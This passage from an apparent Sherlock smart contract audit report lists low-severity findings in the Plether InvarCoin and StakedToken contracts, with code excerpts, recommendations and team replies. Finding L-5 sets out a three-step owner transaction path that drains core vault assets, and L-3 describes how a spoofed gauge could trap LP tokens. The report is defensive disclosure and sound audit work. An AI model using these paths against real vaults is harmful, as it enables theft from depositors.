Yep, agreed. The previous fix skipped the donation but left the VP checkpoint stale, so no-staker-period fees could still be donated retroactively once the first sINVAR staker arrived.

I updated the fix so if there are no sINVAR recipients, `curveLpCostVp` is still advanced and no INVAR is minted/donated. That makes the no-staker-period fees accrue to INVAR holders via NAV instead of being queued for future stakers.

I also handled the explicit `harvest()` case separately so the zero-donation checkpoint doesn't get reverted as NoYield, and kept the dust case unchanged so tiny yield that rounds to zero can still accumulate when stakers do exist.

fixed in https://github.com/Plether-Fi/plether-core/commit/dbb26d608ad03606bc60eef54399fc182a906500

0xklapouchy

Fix confirmed in dbb26d6.

Issue L-3: Gauge validation relies only on spoofable `lp_token()` check without on-chain Curve registry verification [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/10

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`_validateGaugeAddress()` only verifies that a gauge candidate has code and returns the correct `lp_token()`. Any malicious contract can trivially satisfy both checks while behaving differently on `deposit()` / `withdraw()`. Curve provides on-chain registries (GaugeController on L1, ChildGaugeFactory on L2) that definitively verify whether a gauge is DAO-approved, but the contract does not use them.

The existing `approvedGauges` mapping and 7-day timelock provide mitigation, making this an informational concern.

Vulnerability Detail

The gauge address validation:

```
function _validateGaugeAddress(address gauge) private view {
    if (gauge == address(0)) return;
    if (gauge.code.length == 0)
        revert InvarCoin__InvalidGauge();
    if (ICurveGauge(gauge).lp_token() != address(CURVE_LP_TOKEN))
        revert InvarCoin__InvalidGauge();
}
```

This checks that the contract exists and its `lp_token()` getter returns the expected address. Both conditions are trivially satisfied by any deployed contract implementing the interface. The validation does not verify:

- Whether the gauge is registered in Curve's official on-chain registry
- Whether the gauge is the canonical gauge for the USDC/BEAR pool
- Whether `deposit()` / `withdraw()` behave correctly

Curve provides on-chain registries for gauge verification:

Ethereum Mainnet — GaugeController (`0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB`):

- `gauge_types(addr)` reverts for unregistered gauges, returns the type for valid ones

L2s (Arbitrum, Optimism, Base, Polygon) — ChildGaugeFactory:

- `is_valid_gauge(addr)` returns whether a gauge was deployed by the official factory

All Chains — MetaRegistry:

- `get_gauge(pool, idx, gauge_type)` returns the registered gauge for a given pool

Since InvarCoin is designed for both mainnet (`CRV_MINTER != address(0)`) and L2 (`CRV_MINTER == address(0)`), using the MetaRegistry (available on all chains) or a chain-aware approach would provide defense-in-depth.

The existing mitigation stack reduces practical risk:

1. `approvedGauges` mapping – only owner-approved gauges can be proposed via `setGaugeApproval()`
2. 7-day timelock – `proposeGauge()` → wait → `finalizeGauge()` gives users time to verify

These rely on the owner correctly verifying gauges off-chain. An on-chain registry check would protect against a compromised or negligent owner.

Impact

If the owner approves a malicious gauge contract (through compromise, social engineering, or negligence), LP tokens deposited via `_stakeLpToGauge()` could be trapped or stolen. The 7-day timelock provides an observation window, but the on-chain validation itself does not distinguish legitimate Curve gauges from spoofed contracts.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L509-L530

Tool Used

Manual Review

Recommendation

Add an on-chain registry check as defense-in-depth. The MetaRegistry works on all chains.

Discussion

0xklapouchy

Acknowledged.

Issue L-4: `_unvestedRewards` rounds down, allowing rewards to vest 1 wei early per block [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/14

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`_unvestedRewards()` rounds down, making `totalAssets()` 1 wei too high per block of active streaming. This systematically favors withdrawers over remaining stakers. Should round up to keep rewards locked until mathematically fully vested.

Vulnerability Detail

```
function _unvestedRewards() internal view returns (uint256) {
    if (block.timestamp >= streamEndTime) return 0;
    uint256 remainingTime = streamEndTime - block.timestamp;
    return (remainingTime * rewardRate) / 1e18;  // rounds DOWN
}
```

`totalAssets() = _trackedBalance - _unvestedRewards()`. Rounding unvested DOWN means subtracting less, making `totalAssets()` 1 wei higher than it should be. This inflates the share price, giving withdrawers slightly more assets per share at the expense of remaining stakers.

Impact

Negligible per operation (1 wei), but the rounding direction is consistently wrong - favoring the active party (withdrawer) over the passive party (remaining stakers). For a staking vault used as Morpho collateral, conservative NAV (round up) is the safer choice.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/StakedToken.sol#L136

Tool Used

Manual Review

Recommendation

```
return Math.mulDiv(remainingTime, rewardRate, 1e18, Math.Rounding.Ceil);
```

Discussion

Stanley

`_unvestedRewards()` in `StakedToken` rounds down, so `totalAssets()` can be overstated by less than 1 wei during an active stream. This is only a bounded dust-level precision effect, not an accumulating "1 wei per block" loss mechanism. Any downstream effect is subject to ERC4626 conversion rounding and is not a practical or exploitable value transfer. Switching to ceil rounding would merely bias the system in the opposite direction by keeping up to 1 additional wei unvested longer. This is a rounding-policy preference, not a security issue.

0xklapouchy

Acknowledged.

Issue L-5: `protectRewardToken` lacks core asset validation, allowing owner to mark USDC/BEAR/LP as sweepable [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/15

Summary

`protectRewardToken()` allows the owner to mark any token as a protected gauge reward token with no check that the token is not a core vault asset (USDC, BEAR, or LP). Once marked, `sweepGaugeRewards()` can transfer the entire balance to `gaugeRewardsReceiver`, bypassing the guards that `rescueToken()` correctly enforces. The `protectRewardToken` call has no timelock and is irreversible.

Vulnerability Detail

```
function protectRewardToken(address token) external onlyOwner {
    if (token == address(0)) revert InvarCoin__ZeroAddress();
    protectedRewardTokens[token] = true;  // no check against core assets
}

function sweepGaugeRewards(address token) external onlyOwner {
    if (!protectedRewardTokens[token]) revert InvarCoin__CannotRescueCoreAsset();
    // ...
    uint256 balance = IERC20(token).balanceOf(address(this));
    IERC20(token).safeTransfer(gaugeRewardsReceiver, balance);
}
```

`rescueToken()` correctly blocks USDC, BEAR, LP, gauge, and protected tokens. But `sweepGaugeRewards()` only checks `protectedRewardTokens[token]`, which the owner controls without restriction.

The path to drain (3 owner transactions):

1. `protectRewardToken(address(USDC))` – no timelock, immediate
2. `proposeGaugeRewardsReceiver(addr)` + 7 day wait + `finalizeGaugeRewardsReceiver()`
3. `sweepGaugeRewards(address(USDC))` – sweeps entire USDC buffer

The 7-day timelock on `gaugeRewardsReceiver` provides partial mitigation. However `protectRewardToken` itself is immediate and irreversible (`protectedRewardTokens` can never be set back to false).

Impact

Owner misconfiguration or compromise could drain core vault assets. Mitigated by the 7-day timelock on the receiver address, giving users an observation window.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L274-L300

Tool Used

Manual Review

Recommendation

Add core asset validation in `protectRewardToken`.

Discussion

0xklapouchy

Fix confirmed in PR#5

Issue L-6: Minor precision loss in `withdraw()` EMA floor calculation due to intermediate truncation [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/issues/16

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

The EMA-based minimum floor for Curve LP exits performs division before multiplication, losing up to 1 wei from intermediate truncation. The impact is negligible in practice but the computation order could be improved for correctness.

Vulnerability Detail

```
uint256 emaMin = (lpShare * lpPrice) / 1e30 * (BPS - MAX_SPOT_DEVIATION_BPS) / BPS;
//                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ divides first, truncates, then
↪  multiplies
```

The intermediate `(lpShare * lpPrice) / 1e30` truncates before multiplying by `9950 / 10 000`. This can lose up to 1 wei compared to performing all multiplications before division.

Impact

Up to 1 wei precision loss per withdrawal. No practical exploitability.

Code Snippet

https://github.com/sherlock-audit/2026-03-plether-mar-19th-2026/blob/main/plether-core/src/InvarCoin.sol#L639

Tool Used

Manual Review

Recommendation

Defer division using `Math.mulDiv`:

```
uint256 emaMin = Math.mulDiv(lpShare * lpPrice, BPS - MAX_SPOT_DEVIATION_BPS,
↪  uint256(1e30) * BPS);
```

Discussion

Stanley

This is standard solidity arithmetic. Severity is informational at most.

0xklapouchy

Acknowledged.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.